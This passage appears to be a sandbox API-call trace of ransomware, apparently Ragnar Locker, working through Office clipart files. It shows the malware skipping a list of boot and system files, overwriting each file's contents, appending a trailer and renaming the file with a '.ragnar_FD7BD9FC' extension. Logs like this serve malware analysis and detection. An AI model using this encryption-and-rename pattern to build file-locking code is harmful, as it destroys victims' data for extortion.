PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF") returned=".WMF" [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="autorun.inf") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="boot.ini") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="bootfont.bin") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="bootsect.bak") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="bootmgr") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="bootmgr.efi") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="desktop.ini") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="iconcache.db") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="ntldr") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="ntuser.dat") returned 1 [0092.057] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.058] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="ntuser.ini") returned 1 [0092.058] lstrcmpiW (lpString1="SO02048_.WMF", lpString2="thumbs.db") returned -1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.058] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf")) returned 0x20 [0092.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.059] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8158) returned 1 [0092.059] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.059] GetProcessHeap () returned 0x580000 [0092.059] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.059] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.114] VirtualAlloc (lpAddress=0x0, dwSize=0x1fde, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.114] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.115] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fde, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fde, lpOverlapped=0x0) returned 1 [0092.122] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.122] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fde, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.122] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fde, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fde, lpOverlapped=0x0) returned 1 [0092.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fde, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.123] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.123] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1fde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.123] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.123] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.123] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.123] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.123] GetProcessHeap () returned 0x580000 [0092.124] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.124] CloseHandle (hObject=0xf4) returned 1 [0092.124] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" [0092.124] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.ragnar_FD7BD9FC" [0092.124] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02048_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02048_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.125] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02051_.WMF", cAlternateFileName="")) returned 1 [0092.125] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.125] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02051_.WMF" | out: lpString1="SO02051_.WMF") returned="SO02051_.WMF" [0092.125] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF") returned=".WMF" [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="autorun.inf") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="boot.ini") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="bootfont.bin") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="bootsect.bak") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="bootmgr") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="bootmgr.efi") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="desktop.ini") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="iconcache.db") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="ntldr") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="ntuser.dat") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="ntuser.ini") returned 1 [0092.125] lstrcmpiW (lpString1="SO02051_.WMF", lpString2="thumbs.db") returned -1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.125] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf")) returned 0x20 [0092.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.126] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11308) returned 1 [0092.126] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.126] GetProcessHeap () returned 0x580000 [0092.126] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.126] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2c2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.128] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.128] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c2c, lpOverlapped=0x0) returned 1 [0092.129] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.129] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.129] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c2c, lpOverlapped=0x0) returned 1 [0092.129] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.129] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.129] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.129] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.129] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.129] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.129] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.130] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.130] GetProcessHeap () returned 0x580000 [0092.130] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.130] CloseHandle (hObject=0xf4) returned 1 [0092.130] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" [0092.130] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.ragnar_FD7BD9FC" [0092.130] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02051_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02051_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.131] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e1d7400, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x5aa8af30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e1d7400, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x30ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02054_.WMF", cAlternateFileName="")) returned 1 [0092.131] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.131] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02054_.WMF" | out: lpString1="SO02054_.WMF") returned="SO02054_.WMF" [0092.131] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF") returned=".WMF" [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="autorun.inf") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="boot.ini") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="bootfont.bin") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="bootsect.bak") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="bootmgr") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="bootmgr.efi") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="desktop.ini") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="iconcache.db") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="ntldr") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="ntuser.dat") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="ntuser.ini") returned 1 [0092.131] lstrcmpiW (lpString1="SO02054_.WMF", lpString2="thumbs.db") returned -1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.131] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf")) returned 0x20 [0092.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.132] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12490) returned 1 [0092.133] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.133] GetProcessHeap () returned 0x580000 [0092.133] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.133] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.134] VirtualAlloc (lpAddress=0x0, dwSize=0x30ca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.134] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.134] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x30ca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x30ca, lpOverlapped=0x0) returned 1 [0092.135] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.135] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x30ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.135] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x30ca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x30ca, lpOverlapped=0x0) returned 1 [0092.135] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x30ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.135] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.136] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x30ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.136] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.136] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.136] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.136] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.136] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.136] GetProcessHeap () returned 0x580000 [0092.136] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.136] CloseHandle (hObject=0xf4) returned 1 [0092.136] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" [0092.136] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.ragnar_FD7BD9FC" [0092.137] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02054_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02054_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.137] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cec4700, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cec4700, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02055_.WMF", cAlternateFileName="")) returned 1 [0092.137] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.137] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02055_.WMF" | out: lpString1="SO02055_.WMF") returned="SO02055_.WMF" [0092.137] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02055_.WMF") returned=".WMF" [0092.137] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.137] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="autorun.inf") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="boot.ini") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="bootfont.bin") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="bootsect.bak") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="bootmgr") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="bootmgr.efi") returned 1 [0092.138] lstrcmpiW (lpString1="SO02055_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.138] 